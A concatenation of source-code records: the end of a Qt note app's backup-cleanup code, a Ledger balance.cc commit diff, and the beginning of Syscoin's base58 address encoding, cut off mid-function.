while(it.hasNext())\n notesUuids << it.next();\n}\n\nvoid Backup::deleteOldBackupsAndFileEntries(){\n notesUuids.clear(); \/\/make sure that it's empty\n\n \/\/searching for existing Notes\n QDirIterator itFiles(QSettings().value(\"noteDirPath\").toString(),\n QDirIterator::Subdirectories);\n QStringList noteFiles;\n while(itFiles.hasNext()){\n QString filePath = itFiles.next();\n if(itFiles.fileInfo().isFile())\n noteFiles << filePath;\n }\n\n future1 = new QFutureWatcher<QUuid>(this);\n\n QUuid (*uuidPtr)(QString) = & HtmlNoteReader::uuid; \/\/ function pointer, because uuid method is overloaded\n future1->setFuture(QtConcurrent::mapped(noteFiles, uuidPtr));\n\n indexDialog = new QProgressDialog(this);\n indexDialog->setLabelText(QString(tr(\"Indexing notes...\")));\n\n QObject::connect(future1, SIGNAL(finished()), this, SLOT(getNoteUuidList()));\n QObject::connect(future1, SIGNAL(finished()), this, SLOT(progressChanges()));\n QObject::connect(future1, SIGNAL(finished()), indexDialog, SLOT(reset()));\n QObject::connect(indexDialog, SIGNAL(canceled()), future1, SLOT(cancel()));\n QObject::connect(future1, SIGNAL(progressRangeChanged(int,int)),\n indexDialog, SLOT(setRange(int,int)));\n QObject::connect(future1, SIGNAL(progressValueChanged(int)), indexDialog,\n SLOT(setValue(int)));\n\n indexDialog->exec();\n}\n\nvoid actualRemoval(const QString& backupAndUuid){\n if(!backupAndUuid.contains(\"Notes\/\"))\n QFile::remove(backupAndUuid);\n else\n QSettings().remove(backupAndUuid);\n}\n\nvoid Backup::progressChanges(){\n \/\/get backup files\n QStringList backups;\n QDir backupDir(QSettings().value(\"backupDirPath\").toString());\n QList<QFileInfo> backupList = backupDir.entryInfoList(QDir::Files, QDir::Name);\n foreach(QFileInfo backup, backupList)\n backups << backup.absoluteFilePath();\n\n \/\/add QSettings Uuids to the backups\n QStringList backupsAndUuids = backups + QSettings().allKeys().filter(\"Notes\/\");\n\n \/\/We only need the redundant backups and Uuids\n foreach(QString str, backupsAndUuids){\n if(!str.contains(\"Notes\/\") && notesUuids.contains(QFileInfo(str).fileName()))\n backupsAndUuids.removeOne(str);\n if(str.contains(\"Notes\/\")){\n QString settings = str;\n settings.remove(\"Notes\/\");\n settings.remove(\"_size\");\n settings.remove(\"_cursor_position\"); \n if(notesUuids.contains(settings))\n backupsAndUuids.removeOne(str);\n }\n }\n\n QString redundantBackupList;\n foreach(QString str, backupsAndUuids)\n if(!str.contains(\"Notes\/\"))\n redundantBackupList += (str+\"\\n\");\n\n if(backupsAndUuids.isEmpty()){\n QMessageBox::information(this, tr(\"No redundant data!\"), tr(\"no redundant\"\n \" Everything is clean! No redundant data!\"));\n return;\n }\n else{\n if(QMessageBox::warning(this,tr(\"Deleting backups and file entries\"),\n tr(\"Do you really want to delete the backups and entries for the \"\n \"following files?\\n\\n%1\\nYou won't be able to restore them!\").arg(\n redundantBackupList),\n QMessageBox::Yes | QMessageBox::Abort) != QMessageBox::Yes)\n return;\n }\n\n progressDialog = new QProgressDialog(this);\n progressDialog->setLabelText(QString(tr(\"Progressing files...\")));\n\n future2 = new QFutureWatcher<void>(this);\n future2->setFuture(QtConcurrent::map(backupsAndUuids, actualRemoval));\n\n QObject::connect(future2, SIGNAL(finished()), progressDialog, SLOT(reset()));\n QObject::connect(future2, SIGNAL(finished()), this, SLOT(setupTreeData()));\n QObject::connect(progressDialog, SIGNAL(canceled()), future2, SLOT(cancel()));\n QObject::connect(future2, SIGNAL(progressRangeChanged(int,int)), progressDialog,\n SLOT(setRange(int,int)));\n QObject::connect(future2, SIGNAL(progressValueChanged(int)), progressDialog,\n SLOT(setValue(int)));\n\n progressDialog->exec();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2003-2009, John Wiegley. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n * - Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n *\n * - Neither the name of New Artisans LLC nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <system.hh>\n\n#include \"balance.h\"\n#include \"commodity.h\"\n#include \"pool.h\"\n#include \"unistring.h\"\t\t\/\/ for justify()\n\nnamespace ledger {\n\nbalance_t::balance_t(const double val)\n{\n TRACE_CTOR(balance_t, \"const double\");\n amounts.insert\n (amounts_map::value_type(amount_t::current_pool->null_commodity, val));\n}\n\nbalance_t::balance_t(const unsigned long val)\n{\n TRACE_CTOR(balance_t, \"const unsigned long\");\n amounts.insert\n (amounts_map::value_type(amount_t::current_pool->null_commodity, val));\n}\n\nbalance_t::balance_t(const long val)\n{\n TRACE_CTOR(balance_t, \"const long\");\n amounts.insert\n (amounts_map::value_type(amount_t::current_pool->null_commodity, val));\n}\n\nbalance_t& balance_t::operator+=(const balance_t& bal)\n{\n foreach (const amounts_map::value_type& pair, bal.amounts)\n *this += pair.second;\n return *this;\n}\n\nbalance_t& balance_t::operator+=(const amount_t& amt)\n{\n if (amt.is_null())\n throw_(balance_error,\n\t _(\"Cannot add an uninitialized amount to a balance\"));\n\n if (amt.is_realzero())\n return *this;\n\n amounts_map::iterator i = amounts.find(&amt.commodity());\n if (i != amounts.end())\n i->second += amt;\n else\n amounts.insert(amounts_map::value_type(&amt.commodity(), amt));\n\n return *this;\n}\n\nbalance_t& balance_t::operator-=(const balance_t& bal)\n{\n foreach (const amounts_map::value_type& pair, bal.amounts)\n *this -= pair.second;\n return *this;\n}\n\nbalance_t& balance_t::operator-=(const amount_t& amt)\n{\n if (amt.is_null())\n throw_(balance_error,\n\t _(\"Cannot subtract an uninitialized amount from a balance\"));\n\n if (amt.is_realzero())\n return *this;\n\n amounts_map::iterator i = amounts.find(&amt.commodity());\n if (i != amounts.end()) {\n i->second -= amt;\n if (i->second.is_realzero())\n amounts.erase(i);\n } else {\n amounts.insert(amounts_map::value_type(&amt.commodity(), amt.negated()));\n }\n return *this;\n}\n\nbalance_t& balance_t::operator*=(const amount_t& amt)\n{\n if (amt.is_null())\n throw_(balance_error,\n\t _(\"Cannot multiply a balance by an uninitialized amount\"));\n\n if (is_realzero()) {\n ;\n }\n else if (amt.is_realzero()) {\n *this = amt;\n }\n else if (! amt.commodity()) {\n \/\/ Multiplying by an amount with no commodity causes all the\n \/\/ component amounts to be increased by the same factor.\n foreach (amounts_map::value_type& pair, amounts)\n pair.second *= amt;\n }\n else if (amounts.size() == 1) {\n \/\/ Multiplying by a commoditized amount is only valid if the sole\n \/\/ commodity in the balance is of the same kind as the amount's\n \/\/ commodity.\n if (*amounts.begin()->first == amt.commodity())\n amounts.begin()->second *= amt;\n else\n throw_(balance_error,\n\t _(\"Cannot multiply a balance with annotated commodities by a commoditized amount\"));\n }\n else {\n assert(amounts.size() > 1);\n throw_(balance_error,\n\t _(\"Cannot multiply a multi-commodity balance by a commoditized amount\"));\n }\n return *this;\n}\n\nbalance_t& balance_t::operator\/=(const amount_t& amt)\n{\n if (amt.is_null())\n throw_(balance_error,\n\t _(\"Cannot divide a balance by an uninitialized amount\"));\n\n if (is_realzero()) {\n ;\n }\n else if (amt.is_realzero()) {\n throw_(balance_error, _(\"Divide by zero\"));\n }\n else if (! amt.commodity()) {\n \/\/ Dividing by an amount with no commodity causes all the\n \/\/ component amounts to be divided by the same factor.\n foreach (amounts_map::value_type& pair, amounts)\n pair.second \/= amt;\n }\n else if (amounts.size() == 1) {\n \/\/ Dividing by a commoditized amount is only valid if the sole\n \/\/ commodity in the balance is of the same kind as the amount's\n \/\/ commodity.\n if (*amounts.begin()->first == amt.commodity())\n amounts.begin()->second \/= amt;\n else\n throw_(balance_error,\n\t _(\"Cannot divide a balance with annotated commodities by a commoditized amount\"));\n }\n else {\n assert(amounts.size() > 1);\n throw_(balance_error,\n\t _(\"Cannot divide a multi-commodity balance by a commoditized amount\"));\n }\n return *this;\n}\n\noptional<balance_t>\nbalance_t::value(const bool\t\t primary_only,\n\t\t const optional<datetime_t>& moment,\n\t\t const optional<commodity_t&>& in_terms_of) const\n{\n balance_t temp;\n bool resolved = false;\n\n foreach (const amounts_map::value_type& pair, amounts) {\n if (optional<amount_t> val = pair.second.value(primary_only, moment,\n\t\t\t\t\t\t in_terms_of)) {\n temp += *val;\n resolved = true;\n } else {\n temp += pair.second;\n }\n }\n return resolved ? temp : optional<balance_t>();\n}\n\nbalance_t balance_t::price() const\n{\n balance_t temp;\n\n foreach (const amounts_map::value_type& pair, amounts)\n temp += pair.second.price();\n\n return temp;\n}\n\noptional<amount_t>\nbalance_t::commodity_amount(const optional<const commodity_t&>& commodity) const\n{\n if (! commodity) {\n if (amounts.size() == 1) {\n return amounts.begin()->second;\n }\n#if 0\n else if (amounts.size() > 1) {\n \/\/ Try stripping annotations before giving an error.\n balance_t temp(strip_annotations());\n if (temp.amounts.size() == 1)\n\treturn temp.commodity_amount(commodity);\n\n throw_(amount_error,\n\t _(\"Requested amount of a balance with multiple commodities: %1\") << temp);\n }\n#endif\n }\n else if (amounts.size() > 0) {\n amounts_map::const_iterator i = amounts.find(&*commodity);\n if (i != amounts.end())\n return i->second;\n }\n return none;\n}\n\nbalance_t\nbalance_t::strip_annotations(const keep_details_t& what_to_keep) const\n{\n balance_t temp;\n\n foreach (const amounts_map::value_type& pair, amounts)\n temp += pair.second.strip_annotations(what_to_keep);\n\n return temp;\n}\n\nvoid balance_t::print(std::ostream& out,\n\t\t const int first_width,\n\t\t const int latter_width,\n\t\t const bool right_justify,\n\t\t const bool colorize) const\n{\n bool first = true;\n int lwidth = latter_width;\n\n if (lwidth == -1)\n lwidth = first_width;\n\n typedef std::vector<const amount_t *> amounts_array;\n amounts_array sorted;\n\n foreach (const amounts_map::value_type& pair, amounts)\n if (pair.second)\n sorted.push_back(&pair.second);\n\n std::stable_sort(sorted.begin(), sorted.end(), compare_amount_commodities());\n\n foreach (const amount_t * amount, sorted) {\n int width;\n if (! first) {\n out << std::endl;\n width = lwidth;\n } else {\n first = false;\n width = first_width;\n }\n\n std::ostringstream buf;\n buf << *amount;\n justify(out, buf.str(), width, right_justify,\n\t colorize && amount->sign() < 0);\n }\n\n if (first) {\n out.width(first_width);\n if (right_justify)\n out << std::right;\n else\n out << std::left;\n out << 0;\n }\n}\n\n} \/\/ namespace ledger\n<commit_msg>Whitespace fix<commit_after>\/*\n * Copyright (c) 2003-2009, John Wiegley. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n * - Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n *\n * - Neither the name of New Artisans LLC nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <system.hh>\n\n#include \"balance.h\"\n#include \"commodity.h\"\n#include \"pool.h\"\n#include \"unistring.h\"\t\t\/\/ for justify()\n\nnamespace ledger {\n\nbalance_t::balance_t(const double val)\n{\n TRACE_CTOR(balance_t, \"const double\");\n amounts.insert\n (amounts_map::value_type(amount_t::current_pool->null_commodity, val));\n}\n\nbalance_t::balance_t(const unsigned long val)\n{\n TRACE_CTOR(balance_t, \"const unsigned long\");\n amounts.insert\n (amounts_map::value_type(amount_t::current_pool->null_commodity, val));\n}\n\nbalance_t::balance_t(const long val)\n{\n TRACE_CTOR(balance_t, \"const long\");\n amounts.insert\n (amounts_map::value_type(amount_t::current_pool->null_commodity, val));\n}\n\nbalance_t& balance_t::operator+=(const balance_t& bal)\n{\n foreach (const amounts_map::value_type& pair, bal.amounts)\n *this += pair.second;\n return *this;\n}\n\nbalance_t& balance_t::operator+=(const amount_t& amt)\n{\n if (amt.is_null())\n throw_(balance_error,\n\t _(\"Cannot add an uninitialized amount to a balance\"));\n\n if (amt.is_realzero())\n return *this;\n\n amounts_map::iterator i = amounts.find(&amt.commodity());\n if (i != amounts.end())\n i->second += amt;\n else\n amounts.insert(amounts_map::value_type(&amt.commodity(), amt));\n\n return *this;\n}\n\nbalance_t& balance_t::operator-=(const balance_t& bal)\n{\n foreach (const amounts_map::value_type& pair, bal.amounts)\n *this -= pair.second;\n return *this;\n}\n\nbalance_t& balance_t::operator-=(const amount_t& amt)\n{\n if (amt.is_null())\n throw_(balance_error,\n\t _(\"Cannot subtract an uninitialized amount from a balance\"));\n\n if (amt.is_realzero())\n return *this;\n\n amounts_map::iterator i = amounts.find(&amt.commodity());\n if (i != amounts.end()) {\n i->second -= amt;\n if (i->second.is_realzero())\n amounts.erase(i);\n } else {\n amounts.insert(amounts_map::value_type(&amt.commodity(), amt.negated()));\n }\n return *this;\n}\n\nbalance_t& balance_t::operator*=(const amount_t& amt)\n{\n if (amt.is_null())\n throw_(balance_error,\n\t _(\"Cannot multiply a balance by an uninitialized amount\"));\n\n if (is_realzero()) {\n ;\n }\n else if (amt.is_realzero()) {\n *this = amt;\n }\n else if (! amt.commodity()) {\n \/\/ Multiplying by an amount with no commodity causes all the\n \/\/ component amounts to be increased by the same factor.\n foreach (amounts_map::value_type& pair, amounts)\n pair.second *= amt;\n }\n else if (amounts.size() == 1) {\n \/\/ Multiplying by a commoditized amount is only valid if the sole\n \/\/ commodity in the balance is of the same kind as the amount's\n \/\/ commodity.\n if (*amounts.begin()->first == amt.commodity())\n amounts.begin()->second *= amt;\n else\n throw_(balance_error,\n\t _(\"Cannot multiply a balance with annotated commodities by a commoditized amount\"));\n }\n else {\n assert(amounts.size() > 1);\n throw_(balance_error,\n\t _(\"Cannot multiply a multi-commodity balance by a commoditized amount\"));\n }\n return *this;\n}\n\nbalance_t& balance_t::operator\/=(const amount_t& amt)\n{\n if (amt.is_null())\n throw_(balance_error,\n\t _(\"Cannot divide a balance by an uninitialized amount\"));\n\n if (is_realzero()) {\n ;\n }\n else if (amt.is_realzero()) {\n throw_(balance_error, _(\"Divide by zero\"));\n }\n else if (! amt.commodity()) {\n \/\/ Dividing by an amount with no commodity causes all the\n \/\/ component amounts to be divided by the same factor.\n foreach (amounts_map::value_type& pair, amounts)\n pair.second \/= amt;\n }\n else if (amounts.size() == 1) {\n \/\/ Dividing by a commoditized amount is only valid if the sole\n \/\/ commodity in the balance is of the same kind as the amount's\n \/\/ commodity.\n if (*amounts.begin()->first == amt.commodity())\n amounts.begin()->second \/= amt;\n else\n throw_(balance_error,\n\t _(\"Cannot divide a balance with annotated commodities by a commoditized amount\"));\n }\n else {\n assert(amounts.size() > 1);\n throw_(balance_error,\n\t _(\"Cannot divide a multi-commodity balance by a commoditized amount\"));\n }\n return *this;\n}\n\noptional<balance_t>\nbalance_t::value(const bool\t\t primary_only,\n\t\t const optional<datetime_t>& moment,\n\t\t const optional<commodity_t&>& in_terms_of) const\n{\n balance_t temp;\n bool resolved = false;\n\n foreach (const amounts_map::value_type& pair, amounts) {\n if (optional<amount_t> val = pair.second.value(primary_only, moment,\n\t\t\t\t\t\t in_terms_of)) {\n temp += *val;\n resolved = true;\n } else {\n temp += pair.second;\n }\n }\n return resolved ? temp : optional<balance_t>();\n}\n\nbalance_t balance_t::price() const\n{\n balance_t temp;\n\n foreach (const amounts_map::value_type& pair, amounts)\n temp += pair.second.price();\n\n return temp;\n}\n\noptional<amount_t>\nbalance_t::commodity_amount(const optional<const commodity_t&>& commodity) const\n{\n if (! commodity) {\n if (amounts.size() == 1) {\n return amounts.begin()->second;\n }\n#if 0\n else if (amounts.size() > 1) {\n \/\/ Try stripping annotations before giving an error.\n balance_t temp(strip_annotations());\n if (temp.amounts.size() == 1)\n\treturn temp.commodity_amount(commodity);\n\n throw_(amount_error,\n\t _(\"Requested amount of a balance with multiple commodities: %1\")\n\t << temp);\n }\n#endif\n }\n else if (amounts.size() > 0) {\n amounts_map::const_iterator i =\n amounts.find(const_cast<commodity_t *>(&*commodity));\n if (i != amounts.end())\n return i->second;\n }\n return none;\n}\n\nbalance_t\nbalance_t::strip_annotations(const keep_details_t& what_to_keep) const\n{\n balance_t temp;\n\n foreach (const amounts_map::value_type& pair, amounts)\n temp += pair.second.strip_annotations(what_to_keep);\n\n return temp;\n}\n\nvoid balance_t::print(std::ostream& out,\n\t\t const int first_width,\n\t\t const int latter_width,\n\t\t const bool right_justify,\n\t\t const bool colorize) const\n{\n bool first = true;\n int lwidth = latter_width;\n\n if (lwidth == -1)\n lwidth = first_width;\n\n typedef std::vector<const amount_t *> amounts_array;\n amounts_array sorted;\n\n foreach (const amounts_map::value_type& pair, amounts)\n if (pair.second)\n sorted.push_back(&pair.second);\n\n std::stable_sort(sorted.begin(), sorted.end(), compare_amount_commodities());\n\n foreach (const amount_t * amount, sorted) {\n int width;\n if (! first) {\n out << std::endl;\n width = lwidth;\n } else {\n first = false;\n width = first_width;\n }\n\n std::ostringstream buf;\n buf << *amount;\n justify(out, buf.str(), width, right_justify,\n\t colorize && amount->sign() < 0);\n }\n\n if (first) {\n out.width(first_width);\n if (right_justify)\n out << std::right;\n else\n out << std::left;\n out << 0;\n }\n}\n\n} \/\/ namespace ledger\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2014 The Syscoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"base58.h\"\n\n#include \"hash.h\"\n#include \"uint256.h\"\n\n#include <assert.h>\n#include <stdint.h>\n#include <string.h>\n#include <vector>\n#include <string>\n#include <boost\/variant\/apply_visitor.hpp>\n#include <boost\/variant\/static_visitor.hpp>\n\/\/ SYSCOIN use aliases as addresses\nextern void GetAddressFromAlias(const std::string& strAlias, std::string& strAddress);\nextern void GetAliasFromAddress(const std::string& strAddress, std::string& strAlias);\n\/** All alphanumeric characters except for \"0\", \"I\", \"O\", and \"l\" *\/\nstatic const char* pszBase58 = \"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz\";\n\nbool DecodeBase58(const char* psz, std::vector<unsigned char>& vch)\n{\n \/\/ Skip leading spaces.\n while (*psz && isspace(*psz))\n psz++;\n \/\/ Skip and count leading '1's.\n int zeroes = 0;\n while (*psz == '1') {\n zeroes++;\n psz++;\n }\n \/\/ Allocate enough space in big-endian base256 representation.\n std::vector<unsigned char> b256(strlen(psz) * 733 \/ 1000 + 1); \/\/ log(58) \/ log(256), rounded up.\n \/\/ Process the characters.\n while (*psz && !isspace(*psz)) {\n \/\/ Decode base58 character\n const char* ch = strchr(pszBase58, *psz);\n if (ch == NULL)\n return false;\n \/\/ Apply \"b256 = b256 * 58 + ch\".\n int carry = ch - pszBase58;\n for (std::vector<unsigned char>::reverse_iterator it = b256.rbegin(); it != b256.rend(); it++) {\n carry += 58 * (*it);\n *it = carry % 256;\n carry \/= 256;\n }\n assert(carry == 0);\n psz++;\n }\n \/\/ Skip trailing spaces.\n while (isspace(*psz))\n psz++;\n if (*psz != 0)\n return false;\n \/\/ Skip leading zeroes in b256.\n std::vector<unsigned char>::iterator it = b256.begin();\n while (it != b256.end() && *it == 0)\n it++;\n \/\/ Copy result into output vector.\n vch.reserve(zeroes + (b256.end() - it));\n vch.assign(zeroes, 0x00);\n while (it != b256.end())\n vch.push_back(*(it++));\n return true;\n}\n\nstd::string EncodeBase58(const unsigned char* pbegin, const unsigned char* pend)\n{\n \/\/ Skip & count leading zeroes.\n int zeroes = 0;\n while (pbegin != pend && *pbegin == 0) {\n pbegin++;\n zeroes++;\n }\n \/\/ Allocate enough space in big-endian base58 representation.\n std::vector<unsigned char> b58((pend - pbegin) * 138 \/ 100 + 1); \/\/ log(256) \/ log(58), rounded up.\n \/\/ Process the bytes.\n while (pbegin != pend) {\n int carry = *pbegin;\n \/\/ Apply \"b58 = b58 * 256 + ch\".\n for (std::vector<unsigned char>::reverse_iterator it = b58.rbegin(); it != b58.rend(); it++) {\n carry += 256 * (*it);\n *it = carry % 58;\n carry \/= 58;\n }\n assert(carry == 0);\n pbegin++;\n }\n \/\/ Skip leading zeroes in base58 result.\n std::vector<unsigned char>::iterator it = b58.begin();\n while (it != b58.end() && *it == 0)\n it++;\n \/\/ Translate the result into a string.\n std::string str;\n str.reserve(zeroes + (b58.end() - it));\n str.assign(zeroes, '1');\n while (it != b58.end())\n str += pszBase58[*(it++)];\n return str;\n}\n\nstd::string EncodeBase58(const std::vector<unsigned char>& vch)\n{\n return EncodeBase58(&vch[0], &vch[0] + vch.size());\n}\n\nbool DecodeBase58(const std::string& str, std::vector<unsigned char>& vchRet)\n{\n return DecodeBase58(str.c_str(), vchRet);\n}\n\nstd::string EncodeBase58Check(const std::vector<unsigned char>& vchIn)\n{\n \/\/ add 4-byte hash check to the end\n std::vector<unsigned char> vch(vchIn);\n uint256 hash = Hash(vch.begin(), vch.end());\n vch.insert(vch.end(), (unsigned char*)&hash, (unsigned char*)&hash + 4);\n return EncodeBase58(vch);\n}\n\nbool DecodeBase58Check(const char* psz, std::vector<unsigned char>& vchRet)\n{\n if (!DecodeBase58(psz, vchRet) ||\n (vchRet.size() < 4)) {\n vchRet.clear();\n return false;\n }\n \/\/ re-calculate the checksum, insure it matches the included 4-byte checksum\n uint256 hash = Hash(vchRet.begin(), vchRet.end() - 4);\n if (memcmp(&hash, &vchRet.end()[-4], 4) != 0) {\n vchRet.clear();\n return false;\n }\n vchRet.resize(vchRet.size() - 4);\n return true;\n}\n\nbool DecodeBase58Check(const std::string& str, std::vector<unsigned char>& vchRet)\n{\n return DecodeBase58Check(str.c_str(), vchRet);\n}\n\nCBase58Data::CBase58Data()\n{\n vchVersion.clear();\n vchData.clear();\n}\n\nvoid CBase58Data::SetData(const std::vector<unsigned char>& vchVersionIn, const void* pdata, size_t nSize)\n{\n vchVersion = vchVersionIn;\n vchData.resize(nSize);\n if (!vchData.empty())\n memcpy(&vchData[0], pdata, nSize);\n}\n\nvoid CBase58Data::SetData(const std::vector<unsigned char>& vchVersionIn, const unsigned char* pbegin, const unsigned char* pend)\n{\n SetData(vchVersionIn, (void*)pbegin, pend - pbegin);\n}\n\nbool CBase58Data::SetString(const char* psz, unsigned int nVersionBytes)\n{\n std::vector<unsigned char> vchTemp;\n bool rc58 = DecodeBase58Check(psz, vchTemp);\n if ((!rc58) || (vchTemp.size() < nVersionBytes)) {\n vchData.clear();\n vchVersion.clear();\n return false;\n }\n vchVersion.assign(vchTemp.begin(), vchTemp.begin() + nVersionBytes);\n vchData.resize(vchTemp.size() - nVersionBytes);\n if (!vchData.empty())\n memcpy(&vchData[0], &vchTemp[nVersionBytes], vchData.size());\n memory_cleanse(&vchTemp[0], vchData.size());\n return true;\n}\n\nbool CBase58Data::SetString(const std::string& str)\n{\n return SetString(str.c_str());\n}\n\nstd::string CBase58Data::ToString() const\n{\n std::vector<unsigned char> vch = vchVersion;\n vch.insert(vch.end(), vchData.begin(), vchData.end());\n return EncodeBase58Check(vch);\n}\n\nint CBase58Data::CompareTo(const CBase58Data& b58) const\n{\n if (vchVersion < b58.vchVersion)\n return -1;\n if (vchVersion > b58.vchVersion)\n return 1;\n if (vchData < b58.vchData)\n return -1;\n if (vchData > b58.vchData)\n return 1;\n return 0;\n}\n\nnamespace\n{\nclass CSyscoinAddressVisitor : public boost::static_visitor<bool>\n{\nprivate:\n CSyscoinAddress* addr;\n\t\/\/ SYSCOIN support old sys\n\tbool bOldSys;\npublic:\n CSyscoinAddressVisitor(CSyscoinAddress* addrIn) : addr(addrIn) {}\n\tCSyscoinAddressVisitor(CSyscoinAddress* addrIn, bool oldSys) : bOldSys(oldSys), addr(addrIn) {}\n\n bool operator()(const CKeyID& id) const { return addr->Set(id, bOldSys); }\n bool operator()(const CScriptID& id) const { return addr->Set(id); }\n bool operator()(const CNoDestination& no) const { return false; }\n};\n\n} \/\/ anon namespace\n\/\/ SYSCOIN aliases as addresses\nCSyscoinAddress::CSyscoinAddress() {\n\tisAlias = false;\n\taliasName = \"\";\n}\n\/\/ SYSCOIN support old sys\nCSyscoinAddress::CSyscoinAddress(const CTxDestination &dest, bool oldSys) { \n\tisAlias = false;\n\taliasName = \"\";\n Set(dest, oldSys);\n}\nCSyscoinAddress::CSyscoinAddress(const CTxDestination &dest) { \n\tisAlias = false;\n\taliasName = \"\";\n Set(dest);\n}\nCSyscoinAddress::CSyscoinAddress(const std::string& strAddress) { \n\tisAlias = false;\n\taliasName = \"\";\n SetString(strAddress);\n\t\/\/ try to resolve alias address from alias name\n\tif (!IsValid())\n\t{\n\t\ttry \n\t\t{\n\t\t\tstd::string strAliasAddress;\n\t\t\tGetAddressFromAlias(strAddress, strAliasAddress);\n\t\t\tSetString(strAliasAddress);\n\t\t\taliasName = strAddress;\n\t\t\tisAlias = true;\n\t\t}\n\t\tcatch(...)\n\t\t{\n\t\t}\n\t}\n\t\/\/ try to resolve alias name from alias address\n\telse\n\t{\n\t\ttry \n\t\t{\n\t\t\tstd::string strAlias;\n\t\t\tGetAliasFromAddress(strAddress, strAlias);\n\t\t\taliasName = strAlias;\n\t\t\tisAlias = true;\n\t\t}\n\t\tcatch(...)\n\t\t{\n\t\t}\n\t}\n\t\t\t\n}\nCSyscoinAddress::CSyscoinAddress(const char* pszAddress) { \n\tisAlias = false;\n SetString(pszAddress);\n\t\/\/ try to resolve alias address\n\tif (!IsValid())\n\t{\n\t\ttry \n\t\t{\n\t\t\tstd::string strAliasAddress;\n\t\t\tGetAddressFromAlias(std::string(pszAddress), strAliasAddress);\n\t\t\tSetString(strAliasAddress);\n\t\t\taliasName = std::string(pszAddress);\n\t\t\tisAlias = true;\n\t\t\t\n\t\t}\n\t\tcatch(...)\n\t\t{\n\t\t}\n\t}\n\telse\n\t{\n\t\ttry \n\t\t{\n\t\t\tstd::string strAlias;\n\t\t\tGetAliasFromAddress(std::string(pszAddress), strAlias);\n\t\t\taliasName = strAlias;\n\t\t\tisAlias = true;\n\t\t}\n\t\tcatch(...)\n\t\t{\n\t\t}\n\t}\n}\n\/\/ SYSCOIN support old sys\nbool CSyscoinAddress::Set(const CKeyID& id, bool oldSys = false)\n{\n\tSetData(Params().Base58Prefix(oldSys? CChainParams::PUBKEY_ADDRESS_SYS: CChainParams::PUBKEY_ADDRESS), &id, 20);\n return true;\n}\n\nbool CSyscoinAddress::Set(const CScriptID& id)\n{\n SetData(Params().Base58Prefix(CChainParams::SCRIPT_ADDRESS), &id, 20);\n return true;\n}\n\/\/ SYSCOIN support old sys\nbool CSyscoinAddress::Set(const CTxDestination& dest, bool oldSys = false)\n{\n return boost::apply_visitor(CSyscoinAddressVisitor(this, oldSys), dest);\n}\n\nbool CSyscoinAddress::IsValid() const\n{\n return IsValid(Params());\n}\n\nbool CSyscoinAddress::IsValid(const CChainParams& params) const\n{\n bool fCorrectSize = vchData.size() == 20;\n\t\/\/ SYSCOIN allow old SYSCOIN address scheme\n bool fKnownVersion = vchVersion == params.Base58Prefix(CChainParams::PUBKEY_ADDRESS) ||\n\t\t\t\t\t\t vchVersion == params.Base58Prefix(CChainParams::PUBKEY_ADDRESS_SYS) ||\n vchVersion == params.Base58Prefix(CChainParams::SCRIPT_ADDRESS);\n return fCorrectSize && fKnownVersion;\n}\n\nCTxDestination CSyscoinAddress::Get() const\n{\n if (!IsValid())\n return CNoDestination();\n uint160 id;\n memcpy(&id, &vchData[0], 20);\n\t\/\/ SYSCOIN allow old SYSCOIN address scheme\n if 